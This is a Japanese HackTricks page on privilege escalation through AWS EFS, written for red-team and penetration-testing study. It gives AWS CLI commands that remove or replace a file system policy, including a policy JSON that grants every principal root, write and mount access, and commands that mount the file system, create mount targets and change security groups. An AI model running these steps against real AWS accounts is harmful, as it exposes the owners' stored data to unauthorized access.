AWS - EFS Privesc

htARTE(HackTricks AWS Red Team Expert) を通じて、ゼロからヒーローまでAWSハッキングを学びましょう

HackTricks をサポートする他の方法:

EFS

EFSに関する詳細情報はこちら:

pageAWS - EFS Enum

EFSをマウントするには、EFSが公開されているサブネットワークにいる必要があり、アクセス権(セキュリティグループ)を持っている必要があります。これが起こっている場合、デフォルトで常にマウントできますが、IAMポリシーで保護されている場合は、ここで言及されている追加の権限が必要です。

elasticfilesystem:DeleteFileSystemPolicy|elasticfilesystem:PutFileSystemPolicy

これらの権限のいずれかを持っていると、攻撃者はファイルシステムポリシーを変更して、アクセス権を付与するか、削除してデフォルトアクセスを許可できます。

ポリシーを削除するには:

aws efs delete-file-system-policy \
--file-system-id <value>

変更するには:

aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json

// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}

elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)

この権限を持っていると、攻撃者はEFSをマウントできます。EFSをマウントできるすべてのユーザーに書き込み権限がデフォルトで与えられていない場合、彼は読み取りアクセスのみを持つことになります。

sudo mkdir /efs
sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/
追加の権限`elasticfilesystem:ClientRootAccess`と`elasticfilesystem:ClientWrite`は、ファイルシステムがマウントされた後に**書き込み**を行い、そのファイルシステムに**rootとしてアクセス**するために使用できます。

**潜在的な影響:** ファイルシステム内の機密情報を特定することによる間接的な昇格。

### `elasticfilesystem:CreateMountTarget`

攻撃者がEFSの**マウントターゲットが存在しない**サブネット内にいる場合、この権限を使用して**自分のサブネットに1つ作成**することができます:
# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>

潜在的影響: ファイルシステム内の機密情報を特定することによる間接的な昇格。

elasticfilesystem:ModifyMountTargetSecurityGroups

攻撃者がEFSにマウントターゲットがあることを発見したが、トラフィックを許可するセキュリティグループがないサブネット内にある場合、単に選択したセキュリティグループを変更することができます。

aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>

潜在的影響: ファイルシステム内の機密情報を特定することによる間接的な昇格。

htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ

HackTricks をサポートする他の方法:

最終更新